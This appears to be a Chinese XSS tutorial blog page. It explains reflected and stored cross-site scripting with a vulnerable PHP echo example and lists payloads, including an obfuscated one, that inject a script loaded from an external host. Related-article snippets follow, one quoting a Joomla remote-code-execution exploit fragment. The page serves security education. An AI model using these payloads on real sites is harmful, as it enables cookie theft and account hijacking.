XSS漏洞分析

  • 什么是XSS
    • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入而已html代码,当浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到而已攻击用户的特殊目的。
  • XSS可以干什么
    • 盗取管理员Cookie或用户Cookie
    • XSS Worm
    • 挂马(水坑攻击)
    • 有局限性的键盘记录
  • XSS分类
    • 放射性XSS
    • 存储型XSS
    • DOM XSS
    • flash XSS
    • mXSS
  • 反射(非持久)型XSS
    • 发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后响应在响应内容中出现这段XSS代码,最后浏览器解析执行
    • 这个过程就像一次反射,所以命名为反射性XSS
xss.php
<?php
     echo $_GET[‘x‘]
?>
#提交
/xss.php?x=<script>alert(1)</script>
  • 服务端解析式,echo就会完整的输出<script>alert(1)</script>到响应体中,然后浏览器解析执行触发弹窗
  • 储存(持久)型XSS
    • 储存型XSS和反射型XSS的差别仅在于:提交的XSS代码会储存在服务器(不管是数据库/内存/文件系统等),下次请求目标页面是不用在提交XSS代码。
    • 最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言储存到数据库中,目标用户查看留言板是,那些留言内容会从数据库查村出来并显示,浏览器发现有XSS代码,就当作正常的HTML和JS解析执行,于是触发了XSS攻击
    • 储存性XSS的攻击是最隐蔽的
#eg:http://www.nfpeople.com/user.php?id=21839
  • XSS是如何利用的

    • payload(有效的攻击代码)
<script src=‘http://b.ioio.pub/xss/probe.js‘></script>

<img src=onerror="s=createElement(‘script‘);body.appendChild(s);s.src=‘http://b.ioio.pub/xss/probe.js‘";>

<svg onload=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://b.ioio.pub/xss/probe.js>

<svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,
101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,9
7,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114,
99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,
47,120,115,115,47,112,114,111,98,101,46,106,115)) >
  • 修复

    • 对XSS的防御需要根据实际情况对用户的输入进行严格的过滤。基于过滤的XSS防御方式通常可分为两种:基于黑名单的过滤和基于白名单的过滤。后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容。
时间: 2024-10-07 02:16:31

XSS漏洞分析的相关文章

(转) exp1:// 一次有趣的XSS漏洞挖掘分析(1)

from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1) 最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有趣.有趣的地方是你需要一点一点的测试都过滤了些什么,怎么过滤的.我想,这也是黑盒测试最让人着迷的地方吧    首先,锁定了提交问题的模块,因为这块有编辑器.然后开

【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞 0x00 复现环境 phpstudy wordpress 4.4版本 貌似WordPress爆出漏洞的通常基本大多都是它的插件存在安全问题. 0x01步骤 使用phpstudy搭建环境,搭建wordpress,然后登陆进后台去下载Quizlord插件,版本为2.0一切就绪后就开始看怎么触发的XSS了 3) At the title type: poc"><script>alert(1

【转载】Joomla远程代码执行漏洞分析

利用脚本.exp:python jj.py http://123.123.123.123 ->直接GETSHELL python jj.py http://123.123.123.123 "whoami" ->执行命令#author:we8i&90sec import urllib2,urllib,base64 import cookielib,sys,re cj = cookielib.CookieJar() opener = urllib2.build_open

使用Fiddler的X5S插件查找XSS漏洞

OWASP top 10的安全威胁中的CrossSite Scripting(跨站脚本攻击),允许攻击者通过浏览器往网站注入恶意脚本.这种漏洞经常出现在web应用中需要用户输入的地方,如果网站有XSS漏洞,攻击者就可以通过这种漏洞向浏览网站的用户发送恶意脚本,同时也可以利用该漏洞偷取sessionid,用来劫持用户帐户的会话. 所以网站开发者必须针对这种攻击进行适当的测试,必须过滤网站的每个输入及输出.为了使漏洞检测更容易,也可以使用各种扫描器,有很多自动或手动工具可以帮我们查找这些漏洞.X5S

Web应用进行XSS漏洞测试

转自:http://www.uml.org.cn/Test/201407161.asp 对 WEB 应用进行 XSS 漏洞测试,不能仅仅局限于在 WEB 页面输入 XSS 攻击字段,然后提交.绕过 JavaScript 的检测,输入 XSS 脚本,通常被测试人员忽略.下图为 XSS 恶意输入绕过 JavaScript 检测的攻击路径. 常见的 XSS 输入 XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框:<script>alert("XSS");<

uchome 2.0 存在持久XSS漏洞

发布时间:2010-09-03 影响版本:uchome 2.0 漏洞描述:看源码分析的,出错位置较敏感,而且基本没有利用限制,个人主页自定义风格时,可@import外部css文件 测试方法: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 以下在uchome 简体utf-8 2.0测试IE6,IE7,IE8通过. @import url(http://xxx.com/1.css); 包含远程css文件,可以在1.css中写入XSS利用. 分析代码 cp_theme.php

XSS漏洞攻击原理与解决办法

转自:http://www.frostsky.com/2011/10/xss-hack/ 对于的用户输入中出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的.现在让我们来普及一下XSS的一些常识,以后在开发的时候,每当有用户输入的内容时,都要加倍小心.请记住两条原则:过滤输入和转义输出. 一.什么是XSS XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里

WordPress &lt; 4.1.2 存储型XSS漏洞

WordPress < 4.1.2 存储型XSS漏洞 0x00 原理 最近几天爆出来的,今天才看.网上的分析也有很多了估计,我也发一篇好了233333因为确实很经典,思路很不错.具体的细节看老外写的,请戳: https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2 这次主要是Mysql中的UTF-8只支持3个byte,如果需要支持4个byte的编码,则需要使用utf8mb4.不开启strict code(默认为Off)的时

通过代码审计找出网站中的XSS漏洞实战(三)

一.背景 笔者此前录制了一套XSS的视频教程,在漏洞案例一节中讲解手工挖掘.工具挖掘.代码审计三部分内容,准备将内容用文章的形式再次写一此,前两篇已经写完,内容有一些关联性,其中手工XSS挖掘篇地址为快速找出网站中可能存在的XSS漏洞实践(一)https://segmentfault.com/a/1190000016095198 本文主要记录通过代码审计的方式进行XSS漏洞挖掘,分为了找出关键位置,正向审计,反向审计三个部分,审计的系统为permeate渗透测试系统,测试系统的搭建可以参考笔者的